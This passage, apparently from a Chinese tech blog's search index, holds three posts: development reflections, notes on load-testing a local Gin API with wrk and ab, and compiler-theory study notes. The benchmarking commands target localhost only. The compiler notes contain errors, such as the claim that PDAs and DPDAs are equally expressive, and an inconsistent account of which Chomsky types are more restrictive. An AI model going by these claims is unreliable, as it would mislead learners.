/\u003e\u003cp\u003e大概计算了一下,我在GitHub上所有的代码行数早已超过100k行了。三年下来,我在开发上的投入越来越大块,甚至已经吞噬了我的许多其他活动,甚至到了我很多次反思这到底是不是应该在大学期间干的事。\u003c/p\u003e\u003cp\u003e虽然如此我还是义无反顾地干下来了。兴趣所在,原因不明。\u003c/p\u003e\u003ch2 id=\"经验1-量变引起质变\"\u003e\u003ca href=\"#经验1-量变引起质变\" class=\"headerlink\" title=\"经验1-量变引起质变\"\u003e\u003c/a\u003e经验1-量变引起质变\u003c/h2\u003e\u003cp\u003e说是重复练习积累经验也对,说是重复的过程中找到新的规律从中创新也对。总之,开发活动本身也是一种渐进式的活动。从一开始的编写Hello, World到后来编写一个完整的项目,这中间增长的是复杂度,一同增长的也有开发者自身对于代码的掌控力,以及对于复杂度的控制能力。\u003c/p\u003e\u003cp\u003e大量代码必然大块重复,其上的思考有助于抽离重复部分,丰富复用代码片段库。\u003c/p\u003e\u003cp\u003e增长的复用片段库最终会形成新的范式,或者新的工具,乃至思想。\u003c/p\u003e\u003ch2 id=\"经验2-测试驱动开发(TDD)\"\u003e\u003ca href=\"#经验2-测试驱动开发(TDD)\" class=\"headerlink\" title=\"经验2-测试驱动开发(TDD)\"\u003e\u003c/a\u003e经验2-测试驱动开发(TDD)\u003c/h2\u003e\u003cp\u003e开发难点在于代码正确性验证,以及消除undefined behavior。测试驱动的开发一方面帮助我们消除ub,另一方面帮我们快速验证和开发模块。好处是,开发进度明确,并且开发完成之后可用程度基本拉满。\u003c/p\u003e\u003cp\u003e同时对比以前的完整编译再运行整个系统的做法,TDD更加敏捷。同时编写测试用例能帮我们理解自己的代码行为和逻辑。\u003c/p\u003e\u003ch2 id=\"经验3-文档与工具\"\u003e\u003ca href=\"#经验3-文档与工具\" class=\"headerlink\" title=\"经验3-文档与工具\"\u003e\u003c/a\u003e经验3-文档与工具\u003c/h2\u003e\u003cp\u003e文档的必要性在于对整个代码的形式规约——文档本身也是一种应对复杂度的手段。文档的编写,构建和发布值得我们好好打磨。从注释生成,还是代码即注释,这些都可以,根据情况决定。\u003c/p\u003e\u003cp\u003e好的工具值得我们花费时间熟悉,看起来古老的工具,比如Vim,build-essentials,gnu core-utils以及bash都值得学习。并不是因为它们强大,而是让你学会如何使用基于这些工具构建的现代IDE\u0026#x2F;构建流程背后的逻辑,思想以及原理,同时让你不被任何现代IDE约束于其中,能完成几乎所有超出IDE能力的任务。\u003c/p\u003e\u003ch2 id=\"经验3-组合优于继承\"\u003e\u003ca href=\"#经验3-组合优于继承\" class=\"headerlink\" title=\"经验3-组合优于继承\"\u003e\u003c/a\u003e经验3-组合优于继承\u003c/h2\u003e\u003cp\u003e不仅适用于代码编写,也适用于工具哲学。继承是严格的约束,组合是松散的,约定大于规范的约束。pipe,xargs和gnu core-utils等工具能构建出让人难以置信的工具。KISS,同时只做一件事并把它做好,明确单一工具行为,谨防undefined behavior。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e另,关于GNU\u0026#x2F;Linux以及无底洞systemd,组合确实适合构建一些特定的工具,但是对于general-purpose类型的,面向最终用户的接口,还是提供一个相对稳定,严格的规约比较好,不过大量吞噬其他工具这一点大可不必。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"经验4-自顶向下设计\"\u003e\u003ca href=\"#经验4-自顶向下设计\" class=\"headerlink\" title=\"经验4-自顶向下设计\"\u003e\u003c/a\u003e经验4-自顶向下设计\u003c/h2\u003e\u003cp\u003e大学以来第一个大型项目NanoOJ,很长一段时间处于漫无目的的开发阶段:知道要做的东西是什么,但是不知道现在应该做什么。不熟悉软件工程的经验教训,文档是大段废话和幻想,对于开发毫无帮助。\u003c/p\u003e\u003cp\u003e程序本质是数据的变换工具,因此规划出明确的数据流之后进行开发就可以了。这个阶段的前一步,是需求整理,原型设计。\u003c/p\u003e\u003ch2 id=\"经验5-面向接口编程\"\u003e\u003ca href=\"#经验5-面向接口编程\" class=\"headerlink\" title=\"经验5-面向接口编程\"\u003e\u003c/a\u003e经验5-面向接口编程\u003c/h2\u003e\u003cp\u003e符合软件工程中需求和文档为先,驱动程序开发的架构。这也是自顶向下设计的一种,适合多人团队项目开发。前后端先约定好接口,根据数据模型进行开发。\u003c/p\u003e\u003cp\u003e针对前后端开发,后端可以使用测试用例驱动;前端可以使用假数据驱动开发,开发完成后对接后端即可。\u003c/p\u003e\u003ch2 id=\"经验6-Linux\"\u003e\u003ca href=\"#经验6-Linux\" class=\"headerlink\" title=\"经验6-Linux\"\u003e\u003c/a\u003e经验6-Linux\u003c/h2\u003e\u003cp\u003eGNU\u0026#x2F;Linux是工具的集合。不仅是gnu core-utlis,也指代它的项目源代码库,以及提供的各种库库。使用组合式的实践,可以轻松创建出来稳定可用的,属于自己的工具合集。\u003c/p\u003e\u003cp\u003eLinux系的发行版是越用越爽的:它提供了近乎无穷的原料,让你能尽情发挥创造力——对比Windows,你需要不断学习Windows的各种工具,并很难有手段将它们组合使用——作为用户,你难以创造。不过随着Powershell的改进,这点倒是在逐渐改善。\u003c/p\u003e\u003cp\u003e关于系统的学习顺序,有时间的话最好从系统的启动过程,文件系统,服务管理,网络系统管理,以及性能监测和分析这方面开始学习。如果要从其他方向开始学习也不是不行,因为Linux本身也是渐进式的:学多少基本都能用起来。比较遗憾的是,我是从搭MC服务器\u0026#x2F;部署网页服务器开始学的(\u003c/p\u003e\u003ch2 id=\"经验7-渐进式\"\u003e\u003ca href=\"#经验7-渐进式\" class=\"headerlink\" title=\"经验7-渐进式\"\u003e\u003c/a\u003e经验7-渐进式\u003c/h2\u003e\u003cp\u003e刚开始听说是在Vue介绍中。后来实践中理解了是什么,为什么,以及怎么做。\u003c/p\u003e\u003cp\u003e渐进式指功能可以被逐渐学习,逐渐集成,比如Linux,第一天删除文件时只会直接\u003ccode\u003erm [filename]\u003c/code\u003e,第二天知道了后面可以跟随多个文件名,第三天知道了可以使用正则来匹配所有要删除的文件。在这个过程中,你一开始就能完成需要的功能,而之后的学习让你将大部分任务耗时降低到可接受范围内。Vue支持从JS,Web Component和SPA到SSR,SSG多种开发方式,但是你无需学完才能开始编写代码:它的各种工具和概念是相对解耦的。\u003c/p\u003e\u003cp\u003e为什么呢?这和一般人的学习习惯有关。最代表性的例子是数学的学习,实际上我们是顺应着数学的发展历史逐渐向时间轴正向前进学习的。刚开始使用Visual Studio开发时,我经常因为不知道这东西各个部分怎么用而打开又关闭。用VS Code就舒服多了,基本功能简单,组合插件带来各种功能的能力也很强。\u003cstrong\u003eVS Code打开就能直接写代码,但是VS必须经过系统全面的学习才能不阻碍完整的开发流程\u003c/strong\u003e。或者这方面,Vim可能是个更好的例子:起初只需要学会\u003ccode\u003ei\u003c/code\u003e,\u003ccode\u003eEsc\u003c/code\u003e和\u003ccode\u003e:wq\u003c/code\u003e以及\u003ccode\u003ehjkl\u003c/code\u003e就能把它当记事本简单用用,之后每学到一个键\u0026#x2F;功能都能直接提升你的效率和体验。\u003c/p\u003e\u003cp\u003e在我的开发学习过程,我一般不使用完整的项目基座,而是从官方给出的最简单的底座和实例开始,一点一点向上搭建。当我做到某一部分时,我会知道这部分需要使用什么新的插件,而不是一开始就从一个打满插件的项目开始——这样的开发体验并不好。当你发现自己的项目已经和其他脚手架\u0026#x2F;基座功能比较接近时,这时候你就有了新的选择:迁移到完善的大型框架上进行开发。这时候的开发体验应该是如鱼得水的:你理解了应如何组合工具来编写这种复杂度的项目,你也能看懂底座提供的若干功能的逻辑和目的。这个阶段,对框架的使用才是提升效率的手段。\u003c/p\u003e\u003cp\u003e不过这种开发方式仅适用于习阶段,实际大型项目开发最好花时间看看成熟框架的文档和实例。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/04/14/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E6%89%8B%E8%AE%B0/"},{"title":"API压测笔记","time":"2024-03-18T14:41:07Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003eAPI的压力测试是业务上线前的重要环节,也是对系统性能的一个量化测量,对实际业务诸方面都有重要的参考价值。\u003c/p\u003e\u003cp\u003e这里主要说说API压测的方法和常用手段。\u003c/p\u003e\u003ch2 id=\"压测方法\"\u003e\u003ca href=\"#压测方法\" class=\"headerlink\" title=\"压测方法\"\u003e\u003c/a\u003e压测方法\u003c/h2\u003e\u003cul\u003e\u003cli\u003ego benchmark\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果是golang后端,可以直接手写测试用例,然后使用go工具链自带的benchmark进行压测。\u003c/p\u003e\u003cul\u003e\u003cli\u003eApacheBench\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eab命令会创建多个并发访问线程,模拟多个访问者同时对某一URL地址进行访问。\u003c/p\u003e\u003cp\u003e安装\u003ccode\u003eapache2-utils\u003c/code\u003e即可在系统上使用\u003ccode\u003eab\u003c/code\u003e命令。\u003c/p\u003e\u003cp\u003e作为演示,使用ab测试一个GET接口:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eab -n 2000 -c 1200 \u003cspan class=\"string\"\u003e\u0026quot;http://127.0.0.1:9999/get_result?a=10\u0026amp;b=20\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003en: 测试轮次\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003ec: 客户端数量\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eT: 内容类型\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003ep: 包含post参数的文件\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e引号是必须的\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003ewrk\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e一个C编写的API压测工具\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewrk -t10 -c100 -d10s http://localhost:8080/api/users \u003cspan class=\"comment\"\u003e# 使用10个线程,100并发数,测试持续10s\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"开测\"\u003e\u003ca href=\"#开测\" class=\"headerlink\" title=\"开测\"\u003e\u003c/a\u003e开测\u003c/h2\u003e\u003cp\u003e我最后还是选了\u003ccode\u003ewrk\u003c/code\u003e做压测\u003cdel\u003e因为ab装不上\u003c/del\u003e\u003c/p\u003e\u003cp\u003e测试接口是\u003ccode\u003ePOST http://localhost:8080/api/calc/mul\u003c/code\u003e,payload是一个2*n的json格式的二维数组。\u003c/p\u003e\u003cp\u003e测试指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewrk -t 20 -c 10000 -d 180s -s bench.lua --latency \u003cspan class=\"string\"\u003e\u0026quot;http://localhost:8080/api/calc/mul\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## bench.lua\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewrk.method = \u003cspan class=\"string\"\u003e\u0026quot;POST\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewrk.body = \u003cspan class=\"string\"\u003e\u0026quot;[[1,2,3,1],[4,5,7,8]]\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewrk.headers[\u003cspan class=\"string\"\u003e\u0026#x27;Content-Type\u0026#x27;\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026quot;application/json\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e测试结果如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003exeonds@ark-station:~/code/vec-calculator-server$ make bench \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e build \u0026amp;\u0026amp; ./vec-calc-web-linux-amd64-1.0.0 \u0026amp; \u003cspan class=\"built_in\"\u003esleep\u003c/span\u003e 1 \u0026amp;\u0026amp; \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewrk -t 20 -c 10000 -d 180s -s bench.lua --latency \u003cspan class=\"string\"\u003e\u0026quot;http://localhost:8080/api/calc/mul\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eRunning 3m \u003cspan class=\"built_in\"\u003etest\u003c/span\u003e @ http://localhost:8080/api/calc/mul\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 20 threads and 10000 connections\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Thread Stats Avg Stdev Max +/- Stdev\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Latency 61.27ms 62.15ms 1.46s 93.06%\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Req/Sec 9.74k 1.33k 22.11k 71.75%\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Latency Distribution\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 50% 48.47ms\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 75% 66.32ms\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 90% 90.10ms\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 99% 364.05ms\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 34884275 requests \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e 3.00m, 4.35GB \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eRequests/sec: 193693.29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eTransfer/sec: 24.75MB\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e测试平台是\u003ccode\u003eIntel Core i7-12700H\u003c/code\u003e,可以看到并发在\u003ccode\u003e1,0000\u003c/code\u003e的时候,Gin的性能还是不错的,TPS保持在了19万的水准。\u003c/p\u003e\u003ch2 id=\"碎碎念\"\u003e\u003ca href=\"#碎碎念\" class=\"headerlink\" title=\"碎碎念\"\u003e\u003c/a\u003e碎碎念\u003c/h2\u003e\u003cp\u003e该说不该说呢,以前我认为语言就是由语法和编译器\u0026#x2F;解释器构成,但是Golang这样从语法上支持一个feature的行为让我疑惑:语言的标准库该不该算是语言特性的一部分?\u003c/p\u003e\u003cp\u003e\u003ccode\u003ego\u003c/code\u003e这个关键字作为一个大大的语法糖,似乎在打破语言的库和语言本身的分界线。我也无从知晓这一方向的尽头是什么。\u003c/p\u003e\u003ch2 id=\"Reference\"\u003e\u003ca href=\"#Reference\" class=\"headerlink\" title=\"Reference\"\u003e\u003c/a\u003eReference\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/609348456\"\u003eAPI性能测试指标以及压测方式 - 最难不过二叉树 - 知乎\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://golang.cx/go/golang%E5%8E%8B%E6%B5%8B.html\"\u003egolang压测\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://www.digitalocean.com/community/tutorials/how-to-benchmark-http-latency-with-wrk-on-ubuntu-14-04\"\u003eHow To Benchmark HTTP Latency with wrk on Ubuntu 14.04 - DigitalOcean\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://stackoverflow.com/questions/15261612/post-request-with-wrk\"\u003ePOST request with wrk? - StackOverflow\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/gin-gonic/gin/issues/267\"\u003eCan I disable gin’s stdout? - GitHub Issue\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2024/03/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/API%E5%8E%8B%E6%B5%8B%E7%AC%94%E8%AE%B0/"},{"title":"编译原理学习笔记","time":"2024-01-26T12:29:40Z","content":"你说的对,但是编译器是一款......\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e这东西很早就开始看,但是一直没有一个明晰的思路。说起来最早接触编译器,大概是第一次试着自己写一个计算器的时候吧。那会尝试使用递归来进行表达式的解析,现在想来很像下推自动机。\u003cdel\u003e准确来说现在看着像是手写下推自动机\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"编译器纲要\"\u003e\u003ca href=\"#编译器纲要\" class=\"headerlink\" title=\"编译器纲要\"\u003e\u003c/a\u003e编译器纲要\u003c/h2\u003e\u003cp\u003e编译原理的根本目的是将程序设计高级语言翻译成机器硬件控制器可直接执行的二进制代码。自顶向下观测,可以从编译的阶段流程逐步深入学习。\u003c/p\u003e\u003cp\u003e首先是概览,理解每个阶段的输入和输出,从黑箱角度理解每一阶段的编译器组件的功能,参考龙书。简要来说:输入是人类可读的程序语言,然后经过编译器前端和后端两个大层次的多阶段翻译,逐步转换成为语言的单词(token)集合,表示语言结构的抽象语法树,带有更多附加信息的,包含语义的语法树,中间代码(可以是三地址码等等),最终生成符合目标体系架构的原生机器代码。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e或者从另一个视角来观察,CPU自身对应的就是一种有限状态模型。因此,编译的过程实质上可以理解为将一种编程模型下的程序翻译成另一种编程模型下的程序。\u003cbr\u003e所以实质上,软件和硬件的分界点是可以变动的,这部分的trade-off和收益暂时不展开。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e其次从词法分析开始,介绍词法匹配的方法,进一步深入到本质:正则表达式(三型文法),以及NDFA,以及实质上和NDFA的表达力完全等价的DFA。这里对于自动机的定义,构造和自动机所能识别的语言的介绍,是对于语言和自动机表达力和等价性的重要讨论。\u003c/p\u003e\u003cp\u003e接下来是语法分析,介绍CFG和CSG,以及配套的自动机模型:下推自动机。并且证明:下推自动机PDA和DPDA(确定型下推自动机)的表达力也是一样的,并且识别的语言类型也是相同的。\u003c/p\u003e\u003cp\u003e这部分除了自动机,还有自上而下\u0026#x2F;自下而上分析法,以及他们下属的各种方法,比如SLR,LALR,LL(0)等方法,以及其中包含的包括跳转表等分析技术。\u003c/p\u003e\u003chr\u003e\u003cp\u003e学到一半的感受是,对于三型文法和二型文法,都有适合他们的识别对应语言的自动机模型。理解这两种文法的识别方法,可以从理解这两种语言的自动机模型开始着手。\u003c/p\u003e\u003cp\u003e另外二型文法对于大多数语言来说确实够用了,一般语言识别最大的问题就是语言结构的嵌套问题,这部分理解了PDA的下推栈之后就能自己动手写出来一些简单的parser了。\u003c/p\u003e\u003cp\u003e语义识别的部分一般是在语法树上的非叶子节点附加操作,以及借助符号表等工具来完成。在完成这部分之后,编译器的前端部分基本就完成了。这时,可以结束开发,转而编写解释器;或者为了追求性能,继续编写以各个平台的处理器为目标产物的编译器。\u003c/p\u003e\u003cp\u003e编译器部分,会涉及到内存分配,链接器,地址回填等操作,算是细节很多,非常偏重实践和工业界的东西。特别是很多优化可以在体系结构无关的三地址\u0026#x2F;四地址码,以及机器相关的机器码级别完成。优化是一个NP问题,可以一直做下去。近两年也有在优化环节引入AI来进行编译优化的工作。\u003c/p\u003e\u003ch2 id=\"词法分析,状态机与正则表达式\"\u003e\u003ca href=\"#词法分析,状态机与正则表达式\" class=\"headerlink\" title=\"词法分析,状态机与正则表达式\"\u003e\u003c/a\u003e词法分析,状态机与正则表达式\u003c/h2\u003e\u003cp\u003e词法分析是读取输入字符流,并将它转换为\u003c/p\u003e\u003cul\u003e\u003cli\u003e字母表 元素构成的集合\u003c/li\u003e\u003cli\u003e符号 构成字母表的元素。例如a,b,c是符号\u003c/li\u003e\u003cli\u003e符号串 符号的有穷序列。例如symbol。空符号串记作$\\epsilon$\u003c/li\u003e\u003cli\u003e符号串长度 包含符号的个数。例如x\u0026#x3D;string,则有|x|\u0026#x3D;6\u003c/li\u003e\u003cli\u003e符号串连接 xy表示这两个符号串连接\u003c/li\u003e\u003cli\u003e符号串集合的乘积 AB\u0026#x3D;{xy|x∈A,y∈B}\u003c/li\u003e\u003cli\u003e符号串的幂运算 同一个符号串的自我连接\u003c/li\u003e\u003cli\u003e符号串集合的幂运算 符号串集合的自我乘积\u003c/li\u003e\u003cli\u003e符号串集合的正闭包 是集合1到n次幂的并集\u003c/li\u003e\u003cli\u003e自反闭包 正闭包和空串集合的并集\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通过离散数学的语言描述正则语言。\u003c/p\u003e\u003ch2 id=\"文法及其分类\"\u003e\u003ca href=\"#文法及其分类\" class=\"headerlink\" title=\"文法及其分类\"\u003e\u003c/a\u003e文法及其分类\u003c/h2\u003e\u003ch3 id=\"简介\"\u003e\u003ca href=\"#简介\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cul\u003e\u003cli\u003e编译流程:词法分析,语法分析,语义分析,中间代码生成,中间代码优化,目标代码生成六步。\u003c/li\u003e\u003cli\u003e编译程序结构:包含上面6个步骤的对应程序,以及表格处理程序,出错处理程序。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e按照前后端划分,前面5个步骤属于前端,最后一个步骤属于后端,因为它依赖于特定计算机硬件系统和机器指令。\u003c/p\u003e\u003cp\u003e同时,编译过程也可以分为一遍和多遍。\u003c/p\u003e\u003cp\u003e高级语言的自编译性(自举):允许这个语言为它自己编写编译器。自展技术可以实现这一点:它把语言分为一个核心部分和数个扩充部分。用机器语言实现核心,再用核心实现扩展功能。\u003c/p\u003e\u003cul\u003e\u003cli\u003e编译器移植:改后端为目标机器后端生成器,然后编译生成A上运行的B编译器,再用它编译自己,就得到了B上可用的编译器。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e翻译程序编写系统,是编译器\u0026#x2F;翻译器的开发工具。它也曾被称为自动程序设计系统,这一概念包含规格说明,目标语言,问题范围和采用方法等。采用方法包括\u003cstrong\u003e知识工程\u003c/strong\u003e等。\u003c/p\u003e\u003ch3 id=\"文法分类\"\u003e\u003ca href=\"#文法分类\" class=\"headerlink\" title=\"文法分类\"\u003e\u003c/a\u003e文法分类\u003c/h3\u003e\u003cp\u003e根据Chomsky文法分类,可以得到0,1,2,3型文法。数字越大越宽松:\u003c/p\u003e\u003cul\u003e\u003cli\u003e0:每个产生式的左部和右部都包含于N和T全并集的闭包中,且至少有一个非终结符\u003c/li\u003e\u003cli\u003e1(上下文有关语言CSG):除了空产生式,均有左侧小于等于右侧\u003c/li\u003e\u003cli\u003e2(上下文无关语言CFG):产生式左部只能是非终结符\u003c/li\u003e\u003cli\u003e3(正规语言RG):产生式右部的非终结符统一出现在最左端\u0026#x2F;最右端\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e越强的语法(编号越小)的自动机越难构造。程序设计语言大多是CSG,但是我们一般用CFG描述程序设计语言,将上下文有关的部分单独分离为语义分析的部分。\u003c/p\u003e\u003ch2 id=\"语法分析\"\u003e\u003ca href=\"#语法分析\" class=\"headerlink\" title=\"语法分析\"\u003e\u003c/a\u003e语法分析\u003c/h2\u003e\u003cp\u003e语法分析相比词法分析使用的有穷自动机NDFA\u0026#x2F;DFA,它使用下推自动机。这种自动机模型更强一些,有部分计数功能。\u003c/p\u003e\u003ch3 id=\"下推自动机\"\u003e\u003ca href=\"#下推自动机\" class=\"headerlink\" title=\"下推自动机\"\u003e\u003c/a\u003e下推自动机\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e自动机原型是图灵机。其核心模型是状态转换和状态修改。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在有限状态控制器上添加了一个信息\u0026#x2F;状态保存栈。因此,它有简单的计数能力。\u003c/p\u003e\u003cp\u003e下推自动机的原理实际上就是给DFA增加了一个数据栈。形式化地说,接受三型文法的DFA的形式化定义如下:\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003eDFA A \u0026#x3D; A(Q, \\Sigma, \\delta, q_0, F)\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e其中:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$Q$:状态的\u003cstrong\u003e有穷\u003c/strong\u003e集合\u003c/li\u003e\u003cli\u003e$\\Sigma$:输入符号的有穷集合\u003c/li\u003e\u003cli\u003e$\\delta$:转移函数$\\delta(q, a)$\u003c/li\u003e\u003cli\u003e$q_0$:自动机的初始状态\u003c/li\u003e\u003cli\u003e$F$:自动机接受状态\u0026#x2F;终结状态的集合\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e那么,下推自动机PushDown Automation的形式化定义就是:\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003ePDA P \u0026#x3D; P(Q, \\Sigma, \\Gamma, \\delta, q_0, Z_0, F)\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e其中:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$Q$:状态的\u003cstrong\u003e有穷\u003c/strong\u003e集合\u003c/li\u003e\u003cli\u003e$\\Sigma$:输入符号的有穷集合\u003c/li\u003e\u003cli\u003e$\\Gamma$:有限的堆栈字符表\u003c/li\u003e\u003cli\u003e$\\delta$:转移函数,是三元函数$\\delta(q, a, X)$,三个变量分别是$Q$中的状态,$\\Sigma$中的输入符号或者空串$\\epsilon$,$\\Gamma$中的堆栈符号\u003c/li\u003e\u003cli\u003e$q_0$:自动机的初始状态\u003c/li\u003e\u003cli\u003e$Z_0$:自动机堆栈的初始符号\u003c/li\u003e\u003cli\u003e$F$:自动机接受状态\u0026#x2F;终结状态的集合\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"语法分析方法\"\u003e\u003ca href=\"#语法分析方法\" class=\"headerlink\" title=\"语法分析方法\"\u003e\u003c/a\u003e语法分析方法\u003c/h3\u003e\u003ch4 id=\"自上而下语法分析\"\u003e\u003ca href=\"#自上而下语法分析\" class=\"headerlink\" 